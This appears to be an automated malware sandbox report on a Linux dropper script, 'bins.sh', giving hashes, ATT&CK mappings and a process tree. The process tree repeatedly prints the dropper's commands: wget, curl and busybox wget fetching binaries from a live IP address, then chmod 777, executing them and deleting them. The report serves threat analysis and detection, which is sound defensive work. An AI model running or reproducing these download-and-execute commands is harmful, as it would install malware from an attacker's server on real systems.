a62ff32ef983fc9db393a855c7e3e7b41070a15a20c498d3ba08d55197b5d71c

Analysis

max time kernel
27s
max time network
29s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
12/01/2025, 14:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample250112-rylfwsynfk
SHA256 a62ff32ef983fc9db393a855c7e3e7b41070a15a20c498d3ba08d55197b5d71c
MD5 5ef92ea3fc6d04b5f58588f36c6d8b8b
SHA1 b7521440aad74684a0b6172ec49a43a1514fa572
SHA512 b0966205a24db9409c5b677bcff4350e8180933c84522251661ca953d0c94f1548c4ba6135d30e15b05c60879abaf9a356ef807312879ead6262eb093b88ace4
SSDEEP 96:tcVubLb0QvYRzBZL9s9c9c9f9b950KxHzq2qaubLb0QTiR06BZBIRp9s9c9c9f95:CsYRzBZLeyKZJb0+Hz7BZqeyKZJ1HzNd
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 17 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
724	chmod
835	chmod
847	chmod
855	chmod
680	chmod
700	chmod
791	chmod
811	chmod
817	chmod
823	chmod
829	chmod
841	chmod
743	chmod
767	chmod
785	chmod
797	chmod
804	chmod

Executes dropped EXE 17 IoCs

Checks CPU configuration 1 TTPs 17 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 34 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 17 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11	curl
File opened for modification	/tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP	curl
File opened for modification	/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	curl
File opened for modification	/tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK	curl
File opened for modification	/tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd	curl
File opened for modification	/tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27	curl
File opened for modification	/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	curl
File opened for modification	/tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG	curl
File opened for modification	/tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2	curl
File opened for modification	/tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5	curl
File opened for modification	/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	curl
File opened for modification	/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	curl
File opened for modification	/tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU	curl
File opened for modification	/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	curl
File opened for modification	/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	curl
File opened for modification	/tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz	curl
File opened for modification	/tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:646
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:649
- /usr/bin/wget
  wget http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:652
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:672
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:679
- /bin/chmod
  chmod 777 8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  ./8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - Executes dropped EXE
  PID:681
- /bin/rm
  rm 8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:682
- /usr/bin/wget
  wget http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:683
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:691
- /bin/chmod
  chmod 777 5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  ./5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - Executes dropped EXE
  PID:701
- /bin/rm
  rm 5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:702
- /usr/bin/wget
  wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:704
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:713
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:719
- /bin/chmod
  chmod 777 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  ./8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Executes dropped EXE
  PID:725
- /bin/rm
  rm 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:727
- /usr/bin/wget
  wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:728
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:742
- /bin/chmod
  chmod 777 BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  ./BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:745
- /usr/bin/wget
  wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:760
- /bin/chmod
  chmod 777 so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  ./so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Executes dropped EXE
  PID:768
- /bin/rm
  rm so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:769
- /usr/bin/wget
  wget http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:784
- /bin/chmod
  chmod 777 Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  ./Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - Executes dropped EXE
  PID:786
- /bin/rm
  rm Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:787
- /usr/bin/wget
  wget http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:788
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:790
- /bin/chmod
  chmod 777 M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  ./M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - Executes dropped EXE
  PID:792
- /bin/rm
  rm M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:793
- /usr/bin/wget
  wget http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:796
- /bin/chmod
  chmod 777 44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  ./44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - Executes dropped EXE
  PID:798
- /bin/rm
  rm 44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:799
- /usr/bin/wget
  wget http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:802
- /bin/chmod
  chmod 777 0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  ./0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - Executes dropped EXE
  PID:805
- /bin/rm
  rm 0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:806
- /usr/bin/wget
  wget http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:810
- /bin/chmod
  chmod 777 UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  ./UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:813
- /usr/bin/wget
  wget http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:814
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:815
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:816
- /bin/chmod
  chmod 777 JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  ./JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:819
- /usr/bin/wget
  wget http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:820
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:822
- /bin/chmod
  chmod 777 pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  ./pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - Executes dropped EXE
  PID:824
- /bin/rm
  rm pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:825
- /usr/bin/wget
  wget http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:826
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:828
- /bin/chmod
  chmod 777 UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  ./UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - Executes dropped EXE
  PID:830
- /bin/rm
  rm UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:831
- /usr/bin/wget
  wget http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:832
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:833
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:834
- /bin/chmod
  chmod 777 6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  ./6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - Executes dropped EXE
  PID:836
- /bin/rm
  rm 6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:837
- /usr/bin/wget
  wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:838
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:839
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:840
- /bin/chmod
  chmod 777 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  ./8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Executes dropped EXE
  PID:842
- /bin/rm
  rm 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:843
- /usr/bin/wget
  wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:844
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:846
- /bin/chmod
  chmod 777 BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  ./BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:849
- /usr/bin/wget
  wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:853
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:854
- /bin/chmod
  chmod 777 so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  ./so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:857
- /usr/bin/wget
  wget http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:858

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11

Path /tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11	681	8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
/tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP	701	5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	725	8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	744	BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	768	so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
/tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK	786	Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
/tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz	792	M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
/tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd	798	44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
/tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH	805	0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
/tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG	812	UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
/tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2	818	JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
/tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU	824	pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
/tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5	830	UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
/tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27	836	6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	842	8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	848	BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	856	so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads